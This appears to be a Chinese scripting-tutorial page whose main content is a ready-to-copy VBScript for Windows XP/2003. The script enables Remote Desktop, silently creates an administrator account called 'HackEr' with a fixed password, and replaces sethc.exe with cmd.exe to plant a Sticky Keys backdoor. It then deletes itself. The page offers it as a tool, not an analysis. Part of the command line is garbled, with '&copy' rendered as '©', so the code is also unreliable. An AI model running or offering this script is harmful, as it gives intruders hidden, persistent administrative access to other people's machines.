繁體中文当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs
- VBScript
- 用vbscript得到注册表中是否存在某个值
- 用vbscript实现修改屏幕保护的等待时间长度
- 用vbscript实现在消息框中显示一个超链接
- 用vbscript实现将脚本的输出复制到剪贴板
- 视频转换大师WinMPG Video Convert 6.63
- 用vbs实现取消隐藏文件夹中的所有文件
- 用vbscript实现从文本文件中删除所有重复行的代码
- 用vbscript实现在文本文件中搜索两个项
- 用vbscript实现启用 Caps Lock （大写）键
- vbscript和javascript版的15位, 18位的身份证号码的验证函数.以及根据身份证取省份,生日,性别
- 发老兵及海洋VBS解包工具代码
- 把vbscript发挥到它的极限应用之一(数组)！！！
- VBScript:Join 函数一个不太常用，却很有用的函数
- 最新恶意复制型病毒autorun.inf，stNP.VBS，NP.VBS代码简单解析和解决方法
- 用vbscript脚本实现返回 IP 配置数据的代码
- 用vbs实现配置静态 IP 地址
- 用vbs得到计算机的 IP 地址
- 用vbs实现枚举网络连接的代码
- IIS管理脚本之adsutil.vbs的使用说明
- 用VBS修改IIS Metabase的代码
VBScript 中的 xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-11 浏览: 48 ::
收藏到网摘: n/a
复制代码 代码如下:
on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="HackEr":password="393214425":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
评论 (0) All
